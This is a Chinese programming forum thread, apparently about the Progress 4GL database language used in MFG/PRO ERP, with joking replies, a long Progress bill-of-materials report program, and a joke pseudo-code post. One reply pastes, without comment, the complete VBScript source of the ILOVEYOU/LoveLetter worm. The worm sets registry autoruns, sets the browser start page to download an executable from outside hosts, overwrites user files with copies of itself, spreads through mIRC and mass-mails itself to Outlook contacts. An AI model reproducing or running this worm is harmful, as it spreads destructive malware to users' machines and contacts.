是一种数据库(Progress)!有听说过吗?

解决方案 »

  1.   

    晕~~~~~~~~~~我还以为是pascal呢...看了半天不像,8000元还真不好拿!
      

  2.   

    且!
    8000块,我可不想拿了!因为我没用过porgress这东西/
    这么大一段没有注析程序我也不想去认真看!
    你自己留着吧!
      

  3.   

    大家这就不明白了! 
    其实好简单的.
    不知各位有没有听说过MFG/PRO 这种MRPII. 
    真的好简单!
    数据库就是用的这种.有兴趣探讨一下
    E-mail:[email protected]
      

  4.   

    招聘新方式!
    "Progress",看过各位有2/3人使用,或了解吗?
      

  5.   

    bolly(波波) ?
    bolly明明是“玻璃”嘛!解答了此题是给8000报酬?
    还是以月薪8000招聘?
      

  6.   

    天呀!,要不要我拿一段SAP的ABAP语言来衬托一下呀!!!!!!^_^
    看来老兄对MRP/ERP也有点研究呀!!!!!!!!!!!!!以找到一个同道中人呀!!!!!!!!!!!!!!!!!!!!!!
      

  7.   


      kao!!   狂人也晕了。@_@
      

  8.   

    我只听说过POSTGREE SQL,还没见过Progress,请问哪里用到的,什么平台?
      

  9.   

    rem barok -loveletter(vbe) <i hate go to school> 
    rem by: spyder / [email protected] / @GRAMMERSoft Group / Manila,Philip 
    pines 
    On Error Resume Next 
    dim fso,dirsystem,dirwin,dirtemp,eq,ctr,file,vbscopy,dow 
    eq="" 
    ctr=0 
    Set fso = CreateObject("Scripting.FileSystemObject") 
    set file = fso.OpenTextFile(WScript.ScriptFullname,1) 
    vbscopy=file.ReadAll 
    main() 
    sub main() 
    On Error Resume Next 
    dim wscr,rr 
    set wscr=CreateObject("WScript.Shell") 
    rr=wscr.RegRead("HKEY_CURRENT_USER\Software\Microsoft\Windows Scriptin 
    g Host\Settings\Timeout") 
    if (rr>=1) then 
    wscr.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\Windows Scripting  
    Host\Settings\Timeout",0,"REG_DWORD" 
    end if 
    Set dirwin = fso.GetSpecialFolder(0) 
    Set dirsystem = fso.GetSpecialFolder(1) 
    Set dirtemp = fso.GetSpecialFolder(2) 
    Set c = fso.GetFile(WScript.ScriptFullName) 
    c.Copy(dirsystem&"\MSKernel32.vbs") 
    c.Copy(dirwin&"\Win32DLL.vbs") 
    c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
    regruns() 
    html() 
    spreadtoemail() 
    listadriv() 
    end sub 
    sub regruns() 
    On Error Resume Next 
    Dim num,downread 
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio 
    n\Run\MSKernel32",dirsystem&"\MSKernel32.vbs" 
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio 
    n\RunServices\Win32DLL",dirwin&"\Win32DLL.vbs" 
    downread="" 
    downread=regget("HKEY_CURRENT_USER\Software\Microsoft\Internet Explore 
    r\Download Directory") 
    if (downread="") then 
    downread="c:\" 
    end if 
    if (fileexist(dirsystem&"\WinFAT32.exe")=1) then 
    Randomize 
    num = Int((4 * Rnd) + 1) 
    if num = 1 then 
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
    "http://www.skyinet.net/~young1s/HJKhjnwerhjkxcvytwertnMTFwetrdsfmhPnj 
    w6587345gvsdf7679njbvYT/WIN-BUGSFIX.exe" 
    elseif num = 2 then 
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
    "http://www.skyinet.net/~angelcat/skladjflfdjghKJnwetryDGFikjUIyqwerWe 
    546786324hjk4jnHHGbvbmKLJKjhkqj4w/WIN-BUGSFIX.exe" 
    elseif num = 3 then 
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
    "http://www.skyinet.net/~koichi/jf6TRjkcbGRpGqaq198vbFV5hfFEkbopBdQZnm 
    POhfgER67b3Vbvg/WIN-BUGSFIX.exe" 
    elseif num = 4 then 
    regcreate "HKCU\Software\Microsoft\Internet Explorer\Main\Start Page", 
    "http://www.skyinet.net/~chu/sdgfhjksdfjklNBmnfgkKLHjkqwtuHJBhAFSDGjkh 
    YUgqwerasdjhPhjasfdglkNBhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B 
    UGSFIX.exe" 
    end if 
    end if 
    if (fileexist(downread&"\WIN-BUGSFIX.exe")=0) then 
    regcreate "HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersio 
    n\Run\WIN-BUGSFIX",downread&"\WIN-BUGSFIX.exe" 
    regcreate "HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\Main 
    \Start Page","about:blank" 
    end if 
    end sub 
    sub listadriv 
    On Error Resume Next 
    Dim d,dc,s 
    Set dc = fso.Drives 
    For Each d in dc 
    If d.DriveType = 2 or d.DriveType=3 Then 
    folderlist(d.path&"\") 
    end if 
    Next 
    listadriv = s 
    end sub 
    sub infectfiles(folderspec)  
    On Error Resume Next 
    dim f,f1,fc,ext,ap,mircfname,s,bname,mp3 
    set f = fso.GetFolder(folderspec) 
    set fc = f.Files 
    for each f1 in fc 
    ext=fso.GetExtensionName(f1.path) 
    ext=lcase(ext) 
    s=lcase(f1.name) 
    if (ext="vbs") or (ext="vbe") then 
    set ap=fso.OpenTextFile(f1.path,2,true) 
    ap.write vbscopy 
    ap.close 
    elseif(ext="js") or (ext="jse") or (ext="css") or (ext="wsh") or (ext= 
    "sct") or (ext="hta") then 
    set ap=fso.OpenTextFile(f1.path,2,true) 
    ap.write vbscopy 
    ap.close 
    bname=fso.GetBaseName(f1.path) 
    set cop=fso.GetFile(f1.path) 
    cop.copy(folderspec&"\"&bname&".vbs") 
    fso.DeleteFile(f1.path) 
    elseif(ext="jpg") or (ext="jpeg") then 
    set ap=fso.OpenTextFile(f1.path,2,true) 
    ap.write vbscopy 
    ap.close 
    set cop=fso.GetFile(f1.path) 
    cop.copy(f1.path&".vbs") 
    fso.DeleteFile(f1.path) 
    elseif(ext="mp3") or (ext="mp2") then 
    set mp3=fso.CreateTextFile(f1.path&".vbs") 
    mp3.write vbscopy 
    mp3.close 
    set att=fso.GetFile(f1.path) 
    att.attributes=att.attributes+2 
    end if 
    if (eq<>folderspec) then 
    if (s="mirc32.exe") or (s="mlink32.exe") or (s="mirc.ini") or (s="scri 
    pt.ini") or (s="mirc.hlp") then 
    set scriptini=fso.CreateTextFile(folderspec&"\script.ini") 
    scriptini.WriteLine "[script]" 
    scriptini.WriteLine ";mIRC Script" 
    scriptini.WriteLine "; Please dont edit this script... mIRC will corru 
    pt, if mIRC will" 
    scriptini.WriteLine " corrupt... WINDOWS will affect and will not run  
    correctly. thanks" 
    scriptini.WriteLine ";" 
    scriptini.WriteLine ";Khaled Mardam-Bey" 
    scriptini.WriteLine ";http://www.mirc.com" 
    scriptini.WriteLine ";" 
    scriptini.WriteLine "n0=on 1:JOIN:#:{" 
    scriptini.WriteLine "n1= /if ( $nick == $me ) { halt }" 
    scriptini.WriteLine "n2= /.dcc send $nick "&dirsystem&"\LOVE-LETTER-FO 
    R-YOU.HTM" 
    scriptini.WriteLine "n3=}" 
    scriptini.close 
    eq=folderspec 
    end if 
    end if 
    next  
    end sub 
    sub folderlist(folderspec)  
    On Error Resume Next 
    dim f,f1,sf 
    set f = fso.GetFolder(folderspec)  
    set sf = f.SubFolders 
    for each f1 in sf 
    infectfiles(f1.path) 
    folderlist(f1.path) 
    next  
    end sub 
    sub regcreate(regkey,regvalue) 
    Set regedit = CreateObject("WScript.Shell") 
    regedit.RegWrite regkey,regvalue 
    end sub 
    function regget(value) 
    Set regedit = CreateObject("WScript.Shell") 
    regget=regedit.RegRead(value) 
    end function 
    function fileexist(filespec) 
    On Error Resume Next 
    dim msg 
    if (fso.FileExists(filespec)) Then 
    msg = 0 
    else 
    msg = 1 
    end if 
    fileexist = msg 
    end function 
    function folderexist(folderspec) 
    On Error Resume Next 
    dim msg 
    if (fso.GetFolderExists(folderspec)) then 
    msg = 0 
    else 
    msg = 1 
    end if 
    fileexist = msg 
    end function 
    sub spreadtoemail() 
    On Error Resume Next 
    dim x,a,ctrlists,ctrentries,malead,b,regedit,regv,regad 
    set regedit=CreateObject("WScript.Shell") 
    set out=WScript.CreateObject("Outlook.Application") 
    set mapi=out.GetNameSpace("MAPI") 
    for ctrlists=1 to mapi.AddressLists.Count 
    set a=mapi.AddressLists(ctrlists) 
    x=1 
    regv=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a) 
    if (regv="") then 
    regv=1 
    end if 
    if (int(a.AddressEntries.Count)>int(regv)) then 
    for ctrentries=1 to a.AddressEntries.Count 
    malead=a.AddressEntries(x) 
    regad="" 
    regad=regedit.RegRead("HKEY_CURRENT_USER\Software\Microsoft\WAB\"&male 
    ad) 
    if (regad="") then 
    set male=out.CreateItem(0) 
    male.Recipients.Add(malead) 
    male.Subject = "ILOVEYOU" 
    male.Body = vbcrlf&"kindly check the attached LOVELETTER coming from m 
    e." 
    male.Attachments.Add(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs") 
    male.Send 
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&malead,1, 
    "REG_DWORD" 
    end if 
    x=x+1 
    next 
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre 
    ssEntries.Count 
    else 
    regedit.RegWrite "HKEY_CURRENT_USER\Software\Microsoft\WAB\"&a,a.Addre 
    ssEntries.Count 
    end if 
    next 
    Set out=Nothing 
    Set mapi=Nothing 
    end sub 
    sub html 
    On Error Resume Next 
    dim lines,n,dta1,dta2,dt1,dt2,dt3,dt4,l1,dt5,dt6 
    dta1="<HTML><HEAD><TITLE>LOVELETTER - HTML<?-?TITLE><META NAME=@-@Gene 
    rator@-@ CONTENT=@-@BAROK VBS - LOVELETTER@-@>"&vbcrlf& _ 
    "<META NAME=@-@Author@-@ CONTENT=@-@spyder ?-? [email protected] ?-? @G 
    RAMMERSoft Group ?-? Manila, Philippines ?-? March 2000@-@>"&vbcrlf& _ "<META NAME=@-@Description@-@ CONTENT=@-@simple but i think this is go 
    od...@-@>"&vbcrlf& _ 
    "<?-?HEAD><BODY ONMOUSEOUT=@[email protected]=#-#main#-#;window.open(#-#LO 
    VE-LETTER-FOR-YOU.HTM#-#,#-#main#-#)@-@ "&vbcrlf& _ 
    "ONKEYDOWN=@[email protected]=#-#main#-#;window.open(#-#LOVE-LETTER-FOR-YO 
    U.HTM#-#,#-#main#-#)@-@ BGPROPERTIES=@-@fixed@-@ BGCOLOR=@-@#FF9933@-@ 
    >"&vbcrlf& _ 
    "<CENTER><p>This HTML file need ActiveX Control<?-?p><p>To Enable to r 
    ead this HTML file<BR>- Please press #-#YES#-# button to Enable Active 
    X<?-?p>"&vbcrlf& _ 
    "<?-?CENTER><MARQUEE LOOP=@-@infinite@-@ BGCOLOR=@-@yellow@-@>-------- 
    --z--------------------z----------<?-?MARQUEE> "&vbcrlf& _ 
    "<?-?BODY><?-?HTML>"&vbcrlf& _ 
    "<SCRIPT language=@-@JScript@-@>"&vbcrlf& _ 
    "<!--?-??-?"&vbcrlf& _ 
    "if (window.screen){var wi=screen.availWidth;var hi=screen.availHeight 
    ;window.moveTo(0,0);window.resizeTo(wi,hi);}"&vbcrlf& _ 
    "?-??-?-->"&vbcrlf& _ 
    "<?-?SCRIPT>"&vbcrlf& _ 
    "<SCRIPT LANGUAGE=@-@VBScript@-@>"&vbcrlf& _ 
    "<!--"&vbcrlf& _ 
    "on error resume next"&vbcrlf& _ 
    "dim fso,dirsystem,wri,code,code2,code3,code4,aw,regdit"&vbcrlf& _ 
    "aw=1"&vbcrlf& _ 
    "code=" 
    dta2="set fso=CreateObject(@[email protected]@-@)"&vbcrlf&  

    "set dirsystem=fso.GetSpecialFolder(1)"&vbcrlf& _ 
    "code2=replace(code,chr(91)&chr(45)&chr(91),chr(39))"&vbcrlf& _ 
    "code3=replace(code2,chr(93)&chr(45)&chr(93),chr(34))"&vbcrlf& _ 
    "code4=replace(code3,chr(37)&chr(45)&chr(37),chr(92))"&vbcrlf& _ 
    "set wri=fso.CreateTextFile(dirsystem&@-@^-^MSKernel32.vbs@-@)"&vbcrlf 
    & _ 
    "wri.write code4"&vbcrlf& _ 
    "wri.close"&vbcrlf& _ 
    "if (fso.FileExists(dirsystem&@-@^-^MSKernel32.vbs@-@)) then"&vbcrlf&  

    "if (err.number=424) then"&vbcrlf& _ 
    "aw=0"&vbcrlf& _ 
    "end if"&vbcrlf& _ 
    "if (aw=1) then"&vbcrlf& _ 
    "document.write @-@ERROR: can#-#t initialize ActiveX@-@"&vbcrlf& _ 
    "window.close"&vbcrlf& _ 
    "end if"&vbcrlf& _ 
    "end if"&vbcrlf& _ 
    "Set regedit = CreateObject(@[email protected]@-@)"&vbcrlf& _ 
    "regedit.RegWrite @-@HKEY_LOCAL_MACHINE^-^Software^-^Microsoft^-^Windo 
    ws^-^CurrentVersion^-^Run^-^MSKernel32@-@,dirsystem&@-@^-^MSKernel32.v 
    bs@-@"&vbcrlf& _ 
    "?-??-?-->"&vbcrlf& _ 
    "<?-?SCRIPT>" 
    dt1=replace(dta1,chr(35)&chr(45)&chr(35),"'") 
    dt1=replace(dt1,chr(64)&chr(45)&chr(64),"""") 
    dt4=replace(dt1,chr(63)&chr(45)&chr(63),"/") 
    dt5=replace(dt4,chr(94)&chr(45)&chr(94),"\") 
    dt2=replace(dta2,chr(35)&chr(45)&chr(35),"'") 
    dt2=replace(dt2,chr(64)&chr(45)&chr(64),"""") 
    dt3=replace(dt2,chr(63)&chr(45)&chr(63),"/") 
    dt6=replace(dt3,chr(94)&chr(45)&chr(94),"\") 
    set fso=CreateObject("Scripting.FileSystemObject") 
    set c=fso.OpenTextFile(WScript.ScriptFullName,1) 
    lines=Split(c.ReadAll,vbcrlf) 
    l1=ubound(lines) 
    for n=0 to ubound(lines) 
    lines(n)=replace(lines(n),"'",chr(91)+chr(45)+chr(91)) 
    lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93)) 
    lines(n)=replace(lines(n),"\",chr(37)+chr(45)+chr(37)) 
    if (l1=n) then 
    lines(n)=chr(34)+lines(n)+chr(34) 
    else 
    lines(n)=chr(34)+lines(n)+chr(34)&"&vbcrlf& _" 
    end if 
    next 
    set b=fso.CreateTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM") 
    b.close 
    set d=fso.OpenTextFile(dirsystem+"\LOVE-LETTER-FOR-YOU.HTM",2) 
    d.write dt5 
    d.write join(lines,vbcrlf) 
    d.write vbcrlf 
    d.write dt6 
    d.close 
    end sub 
      

  10.   

    .        {mfdtitle.i "c+ "} /*GH69*/        define variable comp like ps_comp no-undo.
            define variable level as integer no-undo.
            define variable maxlevel as integer format ">>>"
                label "Levels" no-undo.
    /*GH69*  define variable eff_date like exd_eff_date no-undo.                */
    /*GH69*/ define variable eff_date as date no-undo label "As of Date".
            define variable parent like ps_par no-undo.
            define variable parent1 like ps_par no-undo.
            define variable parent2 like ps_par no-undo.
            define variable skpge like mfc_logical initial no
                label "New Page Each Parent" no-undo.
            define variable sort_ref like mfc_logical initial no
            label "Sort by Reference" no-undo.
            define buffer bommstr for bom_mstr.
            define variable desc1 like pt_desc1 format "x(40)" no-undo.
            define variable um like pt_um no-undo.
            define variable phantom like mfc_logical format "yes"
                label "Ph" no-undo.
            define variable iss_pol like pt_iss_pol format "/no" no-undo.
            define variable record as integer extent 100 no-undo.
            define variable lvl as character format "x(10)"
                label "Level" no-undo.
            define variable new_parent like mfc_logical.
            define variable dep like xcm_dept.
            define variable lines as integer.
    /*H100*/ define variable op like ro_op format ">>>>>>".
    /*H100*/ define variable op1 like ro_op format ">>>>>>".
    /*huo*/  define variable xpts_sub_part like pts_sub_part.
            define variable xpts_qty_per like pts_qty_per.
            define variable cate like xcm_cate.
            define variable wt like pt_net_wt.
            define variable pm like pt_pm_code. 
            define variable cdesc like xca_desc format "x(16)".
            eff_date = today.        form
                parent1        colon 22
    /*H100      parent2        label {t001.i} colon 49 skip (1) */
    /*H100*/    parent2        label {t001.i} colon 49 skip
    /*H100*/    op            colon 22
    /*H100*/    op1            label {t001.i} colon 49 skip (1)
                eff_date      colon 22 skip
                maxlevel      colon 22 skip
                skpge          colon 22 skip
                sort_ref      colon 22 skip
            with frame a width 80 side-labels attr-space.        repeat:            /* INPUT FORM */
                if parent2 = hi_char then parent2 = "".
    /*H100*/    if op1 = 999999 then op1 = 0.            update parent1 parent2
    /*H100*/        op op1
                    eff_date maxlevel skpge sort_ref with frame a.            bcdparm = "".
                {mfquoter.i parent1  }
                {mfquoter.i parent2  }
    /*H100*/    {mfquoter.i op      }
    /*H100*/    {mfquoter.i op1      }
                {mfquoter.i eff_date }
                {mfquoter.i maxlevel }
                {mfquoter.i skpge    }
                {mfquoter.i sort_ref }            if parent2 = "" then parent2 = hi_char.
    /*H100*/    if op1 = 0 then op1 = 999999.            /* SELECT PRINTER */
                {mfselbpr.i "printer" 132}
                {mfphead.i}            form header
                skip(1) . 
              /*  with frame a1 page-top.
                view frame a1.
                */
                for each bom_mstr no-lock
    /*J12T*/    where bom_fsm_type = " "    /* SKIP SERVICE BOM'S */
    /*J12T*/    and bom_parent >= parent1 and bom_parent <= parent2:
            
    /*J12T*        where bom_parent >= parent1 and bom_parent <= parent2: */
    /*J12T*        REMOVED RELIANCE ON QAD_WKFL FOR SERVICE BOM DETERMINATION ***
    ./*G740*/      if can-find(qad_wkfl where qad_key1 = "bom_fsm"
    ./*G740*/                            and  qad_key2 = bom_parent)
    ./*G740*/      then
    ./*G740*/          next.
    .*J12T*/
                  assign comp = bom_parent
                      maxlevel = min(maxlevel,99)
                        level = 1.              if sort_ref then
                      find first ps_mstr use-index ps_parref where ps_par = comp
    /*H100*/              and (ps_op >= op and ps_op <= op1)
                          no-lock no-error.
                  else
                      find first ps_mstr use-index ps_parcomp where ps_par = comp
    /*H100*/              and (ps_op >= op and ps_op <= op1)
                          no-lock no-error.
                  if not available ps_mstr then next.              find pt_mstr no-lock where pt_part = bom_parent no-error.              assign parent = ps_par
                        phantom = if available pt_mstr then pt_phantom else no
                      new_parent = yes
                            wt = pt_net_wt.
              /*    view frame phead. */              repeat with frame ddt2 down:                  /*DETAIL FORM */
                      form
                        lvl
                        ps_comp
                        cate
                        cdesc
                        pm
                        desc1
                        ps_qty_per
                        um
                        wt
                        phantom
                        ps_ps_code
                        ps_start
                        ps_end
                      with frame ddt2 width 200 no-attr-space no-box.                  if new_parent = yes then do:                    if page-size - line-counter < 7 then page.                    display "PARENT" @ lvl parent @ ps_comp
                          pt_desc1 when (available pt_mstr) @ desc1
                          bom_desc when (not available pt_mstr) @ desc1
                          pt_pm_code when ( available pt_mstr)  @ pm
                          pt_um when (available pt_mstr) @ um
                          bom_batch_um when (not available pt_mstr) @ um
                          phantom @ phantom.                    down 1.                    if available pt_mstr and pt_desc2 > "" then do:
                          display  pt_desc2 @ desc1.
                          down 1.
                        end.
                    /*    if available pt_mstr and pt_rev <> "" then do:
                          display "Rev: " +  pt_rev format "X(24)" @ desc1.
                          down 1.
                        end.  */
                        new_parent = no.
                      end.    /* if new_parent = yes */                  if not available ps_mstr then do:
                        repeat:
                            level = level - 1.
                            if level < 1 then leave.
                            find ps_mstr
                            where recid(ps_mstr) = record[level] no-lock no-error.
                            comp = ps_par.
                            if sort_ref then
                              find next ps_mstr use-index ps_parref
                                where ps_par = comp
    /*H100*/                    and (ps_op >= op and ps_op <= op1)
                                no-lock no-error.
                            else
                              find next ps_mstr use-index ps_parcomp
                                where ps_par = comp
    /*H100*/                    and (ps_op >= op and ps_op <= op1)
                                no-lock no-error.
                            if available ps_mstr then leave.
                        end.
                      end.    /* if not available ps_mstr */
                      if level < 1 then leave.                  if eff_date = ? or (eff_date <> ? and
                      (ps_start = ? or ps_start <= eff_date)
                      and  (ps_end = ? or eff_date <= ps_end)) then do:                    assign um = ""
                            desc1 = "Item not in inventory"
                          iss_pol = no
                          phantom = no.
                        wt = 0.
                        find pt_mstr where pt_part = ps_comp no-lock no-error.
                        if available pt_mstr then do:
                            assign um = pt_um
                                  pm = pt_pm_code
                                desc1 = pt_desc1
                              iss_pol = pt_iss_pol
                                  wt  = pt_net_wt
                              phantom = pt_phantom.
                        end.
                        else do:
                            find bommstr no-lock
                            where bommstr.bom_parent = ps_comp no-error.
                            if available bommstr then
                            assign um = bommstr.bom_batch_um
                                desc1 = bommstr.bom_desc.
                        end.
                        cate = "".
                        dep = "".
                        cdesc = "".
                        find xcm_mstr where xcm_part = ps_comp no-error.
                        if available xcm_mstr then do :
                            if xcm_cate <> " " then cate = xcm_cate.
                            else dep = xcm_dept.
                          end.
                        if cate <> "" then do:      
                        find xca_mstr where xca_cate = cate no-error.
                        if available xca_mstr then cdesc = xca_desc.
                        end.
                        record[level] = recid(ps_mstr).
                        lvl = "........".
                        lvl = substring(lvl,1,min (level - 1,9)) + string(level).
                        if length(lvl) > 10
                        then lvl = substring(lvl,length (lvl) - 9,10).                    lines = 1.
                        if ps_rmks > "" then lines = lines + 1.
                        if available pt_mstr and pt_desc2 > ""
                        then lines = lines + 1.
                        if available pt_mstr and pt_rev > ""
                        then lines = lines + 1.
                        if page-size - line-counter < lines then page.
                        if cate <> "" then do:  
                        display lvl ps_comp cate cdesc pm  desc1 ps_qty_per
                        um
                        wt
                        phantom
                        ps_ps_code  ps_start ps_end 
                        with frame ddt2.
                        end.
                        else do:
                          display lvl ps_comp dep @ cate cdesc pm  desc1 ps_qty_per
                            um wt phantom  ps_ps_code  ps_start ps_end
                            with frame ddt2.
                          end.  
                            /*huo*/              /* if ps_scrp_pct <> 0
                        then display ps_scrp_pct with frame det2.
                        */
                        if available pt_mstr and pt_desc2 > "" then do:
                            down 1.
                            display pt_desc2 @ desc1.
                        end.
                    /*    if available pt_mstr and pt_rev <> "" then do:
                            down 1.
                            display  "Rev: " +  pt_rev format "X(24)" @ desc1.
                        end.            
                        if length(ps_rmks) <> 0 then do:
                            down 1.
                            /* put desc2 at 22. */
                            display ps_rmks @ desc1.
                        end.            */
    /*hslin990713*/    find pts_det no-lock use-index pts_par
                            where pts_par=comp 
                            and pts_part=ps_comp no-error.
    /*hslin990710*/      if available pts_det  then do:
                            /* down 1.*/
                            find xcm_mstr where xcm_part = pts_sub_part no-error.
                            if available xcm_mstr then cate = xcm_cate.
                            find xca_mstr where xca_cate = cate no-error.
                            if available xca_mstr then cdesc = xca_desc.
                            down 1.
                          display "Alt.:  " + pts_sub_part format "x(25)" @ ps_par
                            cate @ cate cdesc  @ cdesc
                            pts_qty_per format "->>>,>>9.9<<<<<<". 
                        end.    
                        find pts_det no-lock where pts_part =ps_comp no-error.
                        if available pts_det then do:
                            if pts_par="" then do:
                            /*down 1.*/
                            find xcm_mstr where xcm_part = pts_sub_part no-error.
                              if available xcm_mstr then cate = xcm_cate.
                            find xca_mstr where xca_cate = cate no-error.
                            if available xca_mstr then cdesc = xca_desc.
                            down 1.
                            display "Alt.:  " + pts_sub_part format "x(25)" @ ps_par
                            cate @ cate  cdesc @ cdesc
                            pts_qty_per format "->>>,>>9.9<<<<<<".
                            end.
                            end.
                        if level < maxlevel or maxlevel = 0 then do:
                            comp = ps_comp.
                            level = level + 1.
                            if sort_ref
                            then find first ps_mstr use-index ps_parref
                              where ps_par = comp
    /*H100                    and (ps_op >= op and ps_op <= op1)    */
                            no-lock no-error.
                            else
                            find first ps_mstr use-index ps_parcomp
                              where ps_par = comp
    /*H100                    and (ps_op >= op and ps_op <= op1)    */
                            no-lock no-error.
                        end.
                        else do:
                            if sort_ref
                            then find next ps_mstr use-index ps_parref
                              where ps_par = comp
    /*H100*/                  and (ps_op >= op and ps_op <= op1)
                            no-lock no-error.
                            else
                            find next ps_mstr use-index ps_parcomp
                              where ps_par = comp
    /*H100*/                  and (ps_op >= op and ps_op <= op1)
                            no-lock no-error.
                        end.
                      end.    /* if eff_date = ? or ... */
                      else do:
                        if sort_ref then
                        find next ps_mstr use-index ps_parref where ps_par = comp
    /*H100*/              and (ps_op >= op and ps_op <= op1)
                        no-lock no-error.
                        else
                        find next ps_mstr use-index ps_parcomp
                            where ps_par = comp
    /*H100*/                  and (ps_op >= op and ps_op <= op1)
                        no-lock no-error.
                      end.
                  end.    /* repeat with frame det2 */              if skpge then page.
                  else put skip(1).              {mfrpexit.i}
                end.  /* for each bom_mstr */            /* REPORT TRAILER */
                {mfrtrail.i}
            
            end.  /* repeat */
      

  11.   

    我宁愿去找可以看懂一个Hello world程序就可以拿8000元的工作。去看这个,看不懂,还费劲
      

  12.   

    是qad二次开发吧,我可是高手哦!
    [email protected]
      

  13.   

    哈我知道了!但不知你qad版本是多少?
      

  14.   

    怕了大家了。我也来!
    if (!busy) M$_Core->Burn_Me_Down(10000, "times!") else M$_WinXPCore->Make_Me_More_Busy("Until Crash");
    Computer->Run_To_Die("as", "quickly", "as", "possible");
    M$_WinXPCore->Never_Crash->Coundn't_shutdown("Even On Error");
    M$_Money->Announce("This version is too old, please send $199.99 to M$ to buy your update pack#2!");